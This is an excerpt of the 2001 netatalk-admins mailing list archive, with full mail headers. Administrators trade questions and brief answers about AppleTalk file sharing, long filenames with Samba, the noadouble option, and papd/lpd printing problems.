	for netatalk.administrators-members@umich.edu; Fri, 28 Sep 2001 09:49:59 -0400 (EDT)
Received: from cait.org (mail0.cait.org [209.174.123.75])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id JAA25168
	for <netatalk-admins@umich.edu>; Fri, 28 Sep 2001 09:49:55 -0400 (EDT)
Received: from andrew.cait.org ([209.174.123.116] verified)
  by cait.org (CommuniGate Pro SMTP 3.4.7)
  with ESMTP id 510403 for netatalk-admins@umich.edu; Fri, 28 Sep 2001 08:49:54 -0500
Received: from awettstein by andrew.cait.org with local (Exim 3.32 #1 (Debian))
	id 15my1a-0003L1-00
	for <netatalk-admins@umich.edu>; Fri, 28 Sep 2001 08:49:54 -0500
Date: Fri, 28 Sep 2001 08:49:54 -0500
To: netatalk-admins@umich.edu
Subject: netatalk and trustees
Message-ID: <20010928084954.B12789@cait.org>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.3.22i
From: Andy Wettstein <awettstein@cait.org>

Hi

Has anyone tried using netatalk and trustees (from
trustees.sourceforge.net) together?  Netatalk doesn't
seem to honor the trustees' permission only posix permissions.

later

andy


From netatalk.administrators-errors@umich.edu  Fri Sep 28 15:11:01 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA04392
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 28 Sep 2001 15:11:01 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id PAA09263
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 28 Sep 2001 15:11:01 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id PAA09258
	for netatalk.administrators-members@umich.edu; Fri, 28 Sep 2001 15:11:01 -0400 (EDT)
Received: from maequeses.nmr.mgh.harvard.edu (maequeses.nmr.mgh.harvard.edu [132.183.202.83])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id PAA09242
	for <netatalk-admins@umich.edu>; Fri, 28 Sep 2001 15:11:00 -0400 (EDT)
Received: from localhost (johnson@localhost)
	by maequeses.nmr.mgh.harvard.edu (8.11.6/8.11.6) with ESMTP id f8SJB0l02504;
	Fri, 28 Sep 2001 15:11:00 -0400
X-Authentication-Warning: maequeses.nmr.mgh.harvard.edu: johnson owned process doing -bs
Date: Fri, 28 Sep 2001 15:10:59 -0400 (EDT)
From: Chris Johnson <johnson@nmr.mgh.harvard.edu>
To: <netatalk-admins@umich.edu>
cc: Chris Johnson <johnson@nmr.mgh.harvard.edu>
Subject: newbie questions.
Message-ID: <Pine.LNX.4.33.0109281506020.2473-100000@maequeses.nmr.mgh.harvard.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

     Hi all.

     Our CAP server is dieing and the guy who made it work is gone.
Typical.  We're trying to get netatalk up to replace the service.  So
far, the daemons come up, no services.  The only documentation we seem
to have is the varios config files which have been little help.  I'd
REALLY be interested in exchanging some e-mail wth someone who has a)
gotten ntatalk to work and/or b) used it to replace CAP.

    Much appreciated.  Thank you.

-------------------------------------------------------------------------------
Chris Johnson               |Internet: johnson@nmr.mgh.harvard.edu
Systems Administrator       |Web:      http://www.nmr.mgh.harvard.edu/~johnson
NMR Center                  |Voice:    617.724.2369
Mass. General Hospital      |FAX:      617.726.7422
149 (2301) 13th Street      |Life  n, a disease with 100% mortality.
Charlestown, MA., 02129 USA |    Me
-------------------------------------------------------------------------------


From netatalk.administrators-errors@umich.edu  Sat Sep 29 17:27:31 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA26292
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 29 Sep 2001 17:27:31 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id RAA21188
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 29 Sep 2001 17:27:31 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id RAA21185
	for netatalk.administrators-members@umich.edu; Sat, 29 Sep 2001 17:27:30 -0400 (EDT)
Received: from mail6.svr.pol.co.uk (mail6.svr.pol.co.uk [195.92.193.212])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id RAA21165
	for <netatalk-admins@umich.edu>; Sat, 29 Sep 2001 17:27:29 -0400 (EDT)
Received: from modem-209.ereinion.dialup.pol.co.uk ([62.136.196.209] helo=tims)
	by mail6.svr.pol.co.uk with smtp (Exim 3.13 #0)
	id 15nRdw-0000eR-00
	for netatalk-admins@umich.edu; Sat, 29 Sep 2001 22:27:28 +0100
Message-Id: <4.1.20010929222602.00968cb0@pop.freeserve.net>
X-Sender: icehawk.freeserve.co.uk@pop.freeserve.net
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 
Date: Sat, 29 Sep 2001 22:28:46 +0100
To: netatalk-admins@umich.edu
From: Tim Wright <tim@icehawk.co.uk>
Subject: Sharing a directory with Samba and Netatalk
In-Reply-To: <Pine.LNX.4.33.0109281506020.2473-100000@maequeses.nmr.mgh.
 harvard.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"

Hi,

I'm running 1.5pre6 under Mandrake, and sharing a directory with netatalk
and samba. The problem is that when files/directories are created which are
over 31 characters long, the macs can't see them at all!

Is there any way to get netatalk to provide a truncated version of the
filename to the clients, or do we just have to make sure the filenames
aren't too long?

Cheers,

Tim.


From netatalk.administrators-errors@umich.edu  Sun Sep 30 00:34:49 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id AAA08258
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 30 Sep 2001 00:34:49 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id AAA13976
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 30 Sep 2001 00:34:49 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id AAA13970
	for netatalk.administrators-members@umich.edu; Sun, 30 Sep 2001 00:34:48 -0400 (EDT)
Received: from smtpout.mac.com (smtpout.mac.com [204.179.120.89])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id AAA13961
	for <netatalk-admins@umich.edu>; Sun, 30 Sep 2001 00:34:48 -0400 (EDT)
From: morganew@mac.com
Received: by smtpout.mac.com; Sat, 29 Sep 2001 21:33:46 -0700 (PDT)
Received: from asmtp01.mac.com ([10.13.10.65]) by
          smtp-relay01.mac.com (Netscape Messaging Server 4.15 relay01 Jun
          21 2001 23:53:48) with ESMTP id GKGKOA00.UX8 for
          <netatalk-admins@umich.edu>; Sat, 29 Sep 2001 21:33:46 -0700 
Received: from localhost ([24.10.224.22]) by asmtp01.mac.com
          (Netscape Messaging Server 4.15 asmtp01 Jun 21 2001 23:53:48)
          with ESMTP id GKGKO900.P2A; Sat, 29 Sep 2001 21:33:45 -0700 
Date: Sun, 30 Sep 2001 00:33:41 -0400
Subject: Re: Sharing a directory with Samba and Netatalk
Content-Type: text/plain; charset=US-ASCII; format=flowed
Mime-Version: 1.0 (Apple Message framework v472)
Cc: netatalk-admins@umich.edu
To: Tim Wright <tim@icehawk.co.uk>
In-Reply-To: <4.1.20010929222602.00968cb0@pop.freeserve.net>
Message-Id: <5315AFCA-B55C-11D5-8D99-0005028D193E@mac.com>
Content-Transfer-Encoding: 7bit
X-Mailer: Apple Mail (2.472)

I think you have to keep the names short.  If you want you can write a 
short shell script with sed to  truncate all of the filenames and still 
leave the .xxx at the end.

Morgan

On Saturday, September 29, 2001, at 05:28  PM, Tim Wright wrote:

> Hi,
>
> I'm running 1.5pre6 under Mandrake, and sharing a directory with 
> netatalk
> and samba. The problem is that when files/directories are created which 
> are
> over 31 characters long, the macs can't see them at all!
>
> Is there any way to get netatalk to provide a truncated version of the
> filename to the clients, or do we just have to make sure the filenames
> aren't too long?
>
> Cheers,
>
> Tim.
>


From netatalk.administrators-errors@umich.edu  Sun Sep 30 12:52:00 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA27264
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 30 Sep 2001 12:52:00 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA17501
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 30 Sep 2001 12:52:00 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA17488
	for netatalk.administrators-members@umich.edu; Sun, 30 Sep 2001 12:52:00 -0400 (EDT)
Received: from yellowspace.net (customer-host-145.yellowspace.net [213.183.5.145])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id MAA17442
	for <netatalk-admins@umich.edu>; Sun, 30 Sep 2001 12:51:58 -0400 (EDT)
Received: from [213.183.5.146] ([213.183.5.146] verified) by yellowspace.net (Stalker SMTP Server 1.7) with ESMTP id S.0000105327 for <netatalk-admins@umich.edu>; Sun, 30 Sep 2001 18:52:00 +0200
Mime-Version: 1.0
X-Sender: lopez.on.the.lists@mail.yellowspace.net
Message-Id: <a05101003b7dcfa6c77f2@[192.168.1.201]>
In-Reply-To: <f05100302b7d93378259f@[192.168.42.39]>
References: <f05100300b7d9238b6524@[192.168.42.39]>
 <p05010400b7d92ef286c3@[129.186.14.37]>
 <f05100302b7d93378259f@[192.168.42.39]>
Date: Sun, 30 Sep 2001 18:51:54 +0200
To: netatalk-admins@umich.edu
From: Lorenzo Perone <lopez.on.the.lists@yellowspace.net>
Subject: Re: so, options:noadouble just plain doesn't work?
Content-Type: text/plain; charset="us-ascii"

At 15:52 Uhr -0400 27.09.2001, Charles Mangin wrote:
>>Have you upgraded netatalk since your original install? When I went from 1.4.x to 1.5pre3 I found the .appledouble data to be incompatible. I was able to move/delete files existing on the server, but could not write new files without a -50 error.
>
>
>nope. this is a new install of 1.5pre. i had figured ther would be problems in upgrading, since so much changed from 1.4x to 1.5
>
>the options:noadouble is the culprit, i'm certain now. i created two shares on the server, one with noadouble enabled, and one with noadouble disabled, both pointing to the same place. copying a folder with files in it to one share worked fine; copying the same files to the other share failed every time with "file is locked"

[ I confirm..... same behavior on our servers. ]

It would be great if some future version of netatalk could implement some kind of -cleanfs option, where any HFS-related filesystem meta-information, as well as resource forks, are not saved at all on the ext2 or ufs filesystem, but instead provided 'by template' to the client (such as with AppleVolumes.system.)

Of course that would mean no resource forks, no folder settings, no labels, etc... but who cares for them, at least on _some_ cross-platform  web or media shares?

BTW, I just got over an interesting article on arstechnica on mac-filesystem issues....
(not directly related to netatalk, but.... worth browsing)
http://www.arstechnica.com/reviews/01q3/metadata/metadata-1.html

:-|

Lorenzo


From netatalk.administrators-errors@umich.edu  Sun Sep 30 14:15:47 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA29737
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 30 Sep 2001 14:15:47 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id OAA12742
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 30 Sep 2001 14:15:47 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id OAA12727
	for netatalk.administrators-members@umich.edu; Sun, 30 Sep 2001 14:15:46 -0400 (EDT)
Received: from snfc21.pbi.net (mta5.snfc21.pbi.net [206.13.28.241])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id OAA12692
	for <netatalk-admins@umich.edu>; Sun, 30 Sep 2001 14:15:45 -0400 (EDT)
Received: from [66.120.145.227] by mta5.snfc21.pbi.net
 (iPlanet Messaging Server 5.1 (built May  7 2001))
 with ESMTP id <0GKH001OZMQ5VK@mta5.snfc21.pbi.net> for
 netatalk-admins@umich.edu; Sun, 30 Sep 2001 11:15:41 -0700 (PDT)
Date: Sun, 30 Sep 2001 11:15:24 -0700
From: Gregg Healy <gregg@photoad.com>
Subject: [OFF]lp0 - device or resource busy
In-reply-to: <a05101003b7dcfa6c77f2@[192.168.1.201]>
X-Sender: gregghealy@mail.anet.net
To: netatalk-admins@umich.edu
Message-id: <v04220804b7dd0fe6a5ef@[66.120.145.227]>
MIME-version: 1.0
Content-type: text/plain; charset=us-ascii; format=flowed
Content-transfer-encoding: 7BIT
References: <f05100300b7d9238b6524@[192.168.42.39]>
 <p05010400b7d92ef286c3@[129.186.14.37]>
 <f05100302b7d93378259f@[192.168.42.39]> <a05101003b7dcfa6c77f2@[192.168.1.201]>

I am having a bear of a time getting anything to go to a Stylus 740 
connected to the parallel port under Red HAT 7.1.

When trying to echo to the device (lp0) I get a message stating 
"Device or  Resource Busy".

Do I need to reset this port somehow? I am new and still learning so 
I apologize if this is a stupid question but Ive spent many hours 
trying to get this thing to work, again. It worked fine for a while.

I also get a message at boot when lpd starts saying "Winbond Super 
I-O Detection, checking ports... Is this a related issue or trying to 
tell me something?

Any help appreciated. My goal here is to get the printer working with 
my Macs using Netatalk.

Gregg Healy
President

PhotoAd.com, Inc.
http://photoad.com
800 471-3737

From netatalk.administrators-errors@umich.edu  Sun Sep 30 17:36:34 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA05906
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 30 Sep 2001 17:36:33 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id RAA07342
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 30 Sep 2001 17:36:33 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id RAA07327
	for netatalk.administrators-members@umich.edu; Sun, 30 Sep 2001 17:36:33 -0400 (EDT)
Received: from viefep16-int.chello.at (viefep16-int.chello.at [213.46.255.17])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id RAA07274
	for <netatalk-admins@umich.edu>; Sun, 30 Sep 2001 17:36:31 -0400 (EDT)
Received: from lilith.homenet ([80.108.13.53]) by viefep16-int.chello.at
          (InterMail vM.5.01.03.06 201-253-122-118-106-20010523) with ESMTP
          id <20010930213629.MGMZ15000.viefep16-int.chello.at@lilith.homenet>
          for <netatalk-admins@umich.edu>; Sun, 30 Sep 2001 23:36:29 +0200
Received: from lilith.homenet (localhost [127.0.0.1])
        by localhost (8.12.0.Beta19/8.12.0.Beta19/Debian 8.12.0.Beta19) with ESMTP id f8ULaSli028647
        for <netatalk-admins@umich.edu>; Sun, 30 Sep 2001 23:36:28 +0200
Received: (from dejan@localhost)
        by lilith.homenet (8.12.0.Beta19/8.12.0.Beta19/Debian 8.12.0.Beta19) id f8ULaSBb028645
        for netatalk-admins@umich.edu; Sun, 30 Sep 2001 23:36:28 +0200
X-Authentication-Warning: lilith.homenet: dejan set sender to dejan@hello-penguin.com using -f
Date: Sun, 30 Sep 2001 23:36:28 +0200
From: Dejan Muhamedagic <dejan@hello-penguin.com>
To: netatalk-admins@umich.edu
Subject: printing from qxpress from appleshare
Message-ID: <20010930233627.A28501@lilith>
Reply-To: Dejan Muhamedagic <dejan@hello-penguin.com>
Mail-Followup-To: netatalk-admins@umich.edu
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.3.22i

Hello,

If the client runs MacOS 9.1 or 9.2.1 on G4 and QXpress 4.11 and
a document is opened from a netatalk server (2.1.4-39 with
flock-locks and lastdid enabled) and a user tries to print it the
Mac crashes.  The printer is a separate rendering machine driven
by an NT box, if that makes any difference.  If the document is
opened from the local disk everything is fine as well as in case
of MacOS 8.6 and 9.0.4 (on G3).  Also, the Mac does not crash in
case of a rather small document (say <1MB).  Printing from e.g.
Freehand works in any case, so it's definitely tied to the
QXpress.  Saving files works fine, but printing unmistakably makes
the Mac crash.  BTW, my Apple users prefer 9.1 or 9.2.1 to 9.0.4
because the latter is quite instable as they put it.

This looks like a rather odd problem and I have no idea how should
one tackle it.  Anybody?

Many TIA.

Dejan

-- 
Dejan Muhamedagic         mailto:dejan@hello-penguin.com

P.S.  I've been out of Appletalk business lately and it's nice to
see the netatalk sourceforge project running.  I tried to compile
the latest 1.5-pre7, but this SuSE 6.3 with db 2.4.14 wouldn't do.
Can anybody enlighten me on the CNID/DB3 development?  Does it
finally solve the DID problem?


From netatalk.administrators-errors@umich.edu  Sun Sep 30 22:13:16 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id WAA14430
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 30 Sep 2001 22:13:16 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id WAA13956
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 30 Sep 2001 22:13:16 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id WAA13950
	for netatalk.administrators-members@umich.edu; Sun, 30 Sep 2001 22:13:15 -0400 (EDT)
Received: from godzilla.jrd.org ([216.41.40.8])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id WAA13927
	for <netatalk-admins@umich.edu>; Sun, 30 Sep 2001 22:13:13 -0400 (EDT)
Received: (qmail 11266 invoked from network); 1 Oct 2001 02:12:56 -0000
Received: from kong.jrd.org (HELO jrd.org) (qmailr@192.168.2.1)
  by godzilla.jrd.org with SMTP; 1 Oct 2001 02:12:56 -0000
Received: (qmail 2411 invoked from network); 1 Oct 2001 03:12:40 -0000
Received: from rodan.jrd.org (HELO rodan.jrd.org.jrd.org) (192.168.2.4)
  by 0 with SMTP; 1 Oct 2001 03:12:40 -0000
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <15287.53532.347739.599746@rodan.jrd.org>
Date: Sun, 30 Sep 2001 22:12:44 -0400
To: netatalk-admins@umich.edu
from: jrd-atalk@jrd.org
Subject: papd vs lpd
X-Mailer: VM 6.96 under Emacs 20.7.2

I've recently "upgraded" a server to slackware 8.0, and everything
works except that I can no longer print from my mac.  Attempts to
print cause the dreaded message

Your printer job (untitled) 
was not printed because it was not linked to the original file

to show up as a mail message.

I've done some research into this, and found a number of hints
(permission problem, bugs in lpd, bugs in papd etc), but no hard data.
I'm pretty sure I no longer have permission problems, as I've ensured
that all the gid and uids line up with what the various daemons are
running as, and for good measure I chmod'ed everything in the spool
directories to allow rw by everybody, but no help.  I've dug around
looking for various config options, but not found anything to turn up
debug levels, to try to figure out what's the root of the problem.
The papd and lpd code is all remarkably free of comments.  Has anyone
out there come up with a definitive set of causes and/or cures for
this problem?

slackware 8.0
netatalk-1.4b2+asun2.1.3 
lpr (lpd) 0.48

TIA...


From netatalk.administrators-errors@umich.edu  Sun Sep 30 23:01:15 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id XAA16148
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 30 Sep 2001 23:01:14 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id XAA00344
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 30 Sep 2001 23:01:14 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id XAA00319
	for netatalk.administrators-members@umich.edu; Sun, 30 Sep 2001 23:01:14 -0400 (EDT)
Received: from viefep14-int.chello.at (viefep14-int.chello.at [213.46.255.13])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id XAA00263
	for <netatalk-admins@umich.edu>; Sun, 30 Sep 2001 23:01:12 -0400 (EDT)
Received: from lilith.homenet ([80.108.13.53]) by viefep14-int.chello.at
          (InterMail vM.5.01.03.06 201-253-122-118-106-20010523) with ESMTP
          id <20011001030111.MPOK9391.viefep14-int.chello.at@lilith.homenet>;
          Mon, 1 Oct 2001 05:01:11 +0200
Received: from lilith.homenet (localhost [127.0.0.1])
        by localhost (8.12.0.Beta19/8.12.0.Beta19/Debian 8.12.0.Beta19) with ESMTP id f91319li001514;
	Mon, 1 Oct 2001 05:01:10 +0200
Received: (from dejan@localhost)
        by lilith.homenet (8.12.0.Beta19/8.12.0.Beta19/Debian 8.12.0.Beta19) id f91318G1001512;
	Mon, 1 Oct 2001 05:01:08 +0200
X-Authentication-Warning: lilith.homenet: dejan set sender to dejan@hello-penguin.com using -f
Date: Mon, 1 Oct 2001 05:01:08 +0200
From: Dejan Muhamedagic <dejan@hello-penguin.com>
To: jrd-atalk@jrd.org
Cc: netatalk-admins@umich.edu
Subject: Re: papd vs lpd
Message-ID: <20011001050108.A1475@lilith>
Reply-To: Dejan Muhamedagic <dejan@hello-penguin.com>
Mail-Followup-To: jrd-atalk@jrd.org, netatalk-admins@umich.edu
References: <15287.53532.347739.599746@rodan.jrd.org>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <15287.53532.347739.599746@rodan.jrd.org>
User-Agent: Mutt/1.3.22i

Hi,

It's probably that old problem with papd creating a file with too
restrictive permissions for the lpd.  Try changing your papd
config file so that the pr capability reads something like:

:pr=|/usr/bin/lpr -Plp:

Substitute your printer's name for lp.  BTW, upgrading to lprng
may be a good idea.

Dejan

On Sun, Sep 30, 2001 at 10:12:44PM -0400, jrd-atalk@jrd.org wrote:
> I've recently "upgraded" a server to slackware 8.0, and everything
> works except that I can no longer print from my mac.  Attempts to
> print cause the dreaded message
> 
> Your printer job (untitled) 
> was not printed because it was not linked to the original file
> 
> to show up as a mail message.
> 
> I've done some research into this, and found a number of hints
> (permission problem, bugs in lpd, bugs in papd etc), but no hard data.
> I'm pretty sure I no longer have permission problems, as I've ensured
> that all the gid and uids line up with what the various daemons are
> running as, and for good measure I chmod'ed everything in the spool
> directories to allow rw by everybody, but no help.  I've dug around
> looking for various config options, but not found anything to turn up
> debug levels, to try to figure out what's the root of the problem.
> The papd and lpd code is all remarkably free of comments.  Has anyone
> out there come up with a definitive set of causes and/or cures for
> this problem?
> 
> slackware 8.0
> netatalk-1.4b2+asun2.1.3 
> lpr (lpd) 0.48
> 
> TIA...
> 

-- 
Dejan Muhamedagic         mailto:dejan@hello-penguin.com
Kaunitzgasse 9/15, 1060 Wien, Austria   +43 664 2111 219


From netatalk.administrators-errors@umich.edu  Mon Oct  1 04:59:01 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id EAA28497
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 1 Oct 2001 04:59:01 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id EAA12851
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 1 Oct 2001 04:59:00 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id EAA12840
	for netatalk.administrators-members@umich.edu; Mon, 1 Oct 2001 04:59:00 -0400 (EDT)
Received: from mail44.fg.online.no (mail44-s.fg.online.no [148.122.161.44])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id EAA12816
	for <netatalk-admins@umich.edu>; Mon, 1 Oct 2001 04:58:59 -0400 (EDT)
Received: from 130.67.50.152 (ti100710a065-0152.dialup.online.no [130.67.50.152])
	by mail44.fg.online.no (8.9.3/8.9.3) with SMTP id KAA10134
	for <netatalk-admins@umich.edu>; Mon, 1 Oct 2001 10:58:57 +0200 (MET DST)
Date: 01 Oct 2001 10:55:09 +0200
Message-ID: <937294852gjermund@mac.com>
From: Gjermund G Thorsen <gjermund@mac.com>
Subject: Re: printing from qxpress from appleshare
To: <netatalk-admins@umich.edu>
X-Mailer: QuickMail Pro 2.1 (Mac)
X-Priority: 3
MIME-Version: 1.0
Reply-To: Gjermund G Thorsen <gjermund@mac.com>
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id EAA28497

Works fine with me, but at my place the destination printer is a printerspooler on the same node as netatalk is run.
-- 
Yours Sincerely,

Gjermund Gusland Thorsen



"Im just sitting here listening to the scream of the butterfly"

On sųndag 30. september 2001 23:36, Dejan Muhamedagic <dejan@hello-penguin.com> wrote:
>Hello,
>
>If the client runs MacOS 9.1 or 9.2.1 on G4 and QXpress 4.11 and
>a document is opened from a netatalk server (2.1.4-39 with
>flock-locks and lastdid enabled) and a user tries to print it the
>Mac crashes.  The printer is a separate rendering machine driven
>by an NT box, if that makes any difference.  If the document is
>opened from the local disk everything is fine as well as in case
>of MacOS 8.6 and 9.0.4 (on G3).  Also, the Mac does not crash in
>case of a rather small document (say <1MB).  Printing from e.g.
>Freehand works in any case, so it's definitely tied to the
>QXpress.  Saving files works fine, but printing unmistakably makes
>the Mac crash.  BTW, my Apple users prefer 9.1 or 9.2.1 to 9.0.4
>because the latter is quite instable as they put it.
>
>This looks like a rather odd problem and I have no idea how should
>one tackle it.  Anybody?
>
>Many TIA.
>
>Dejan
>
>-- 
>Dejan Muhamedagic         mailto:dejan@hello-penguin.com
>
>P.S.  I've been out of Appletalk business lately and it's nice to
>see the netatalk sourceforge project running.  I tried to compile
>the latest 1.5-pre7, but this SuSE 6.3 with db 2.4.14 wouldn't do.
>Can anybody enlighten me on the CNID/DB3 development?  Does it
>finally solve the DID problem?
>


From netatalk.administrators-errors@umich.edu  Mon Oct  1 07:40:30 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA04390
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 1 Oct 2001 07:40:30 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id HAA04848
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 1 Oct 2001 07:40:30 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id HAA04833
	for netatalk.administrators-members@umich.edu; Mon, 1 Oct 2001 07:40:30 -0400 (EDT)
Received: from godzilla.jrd.org ([216.41.40.8])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id HAA04784
	for <netatalk-admins@umich.edu>; Mon, 1 Oct 2001 07:40:28 -0400 (EDT)
Received: (qmail 11654 invoked from network); 1 Oct 2001 11:40:16 -0000
Received: from kong.jrd.org (HELO jrd.org) (qmailr@192.168.2.1)
  by godzilla.jrd.org with SMTP; 1 Oct 2001 11:40:16 -0000
Received: (qmail 390 invoked from network); 1 Oct 2001 12:39:58 -0000
Received: from rodan.jrd.org (HELO rodan.jrd.org.jrd.org) (192.168.2.4)
  by 0 with SMTP; 1 Oct 2001 12:39:58 -0000
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <15288.22033.80905.566234@rodan.jrd.org>
Date: Mon, 1 Oct 2001 07:40:01 -0400
To: Dejan Muhamedagic <dejan@hello-penguin.com>
from: jrd-atalk@jrd.org
Cc: netatalk-admins@umich.edu
Subject: papd vs lpd
In-Reply-To: <20011001050108.A1475@lilith>
References: <15287.53532.347739.599746@rodan.jrd.org>
	<20011001050108.A1475@lilith>
X-Mailer: VM 6.96 under Emacs 20.7.2

    From: Dejan Muhamedagic <dejan@hello-penguin.com>
    Date: Mon, 1 Oct 2001 05:01:08 +0200
    
[...]    
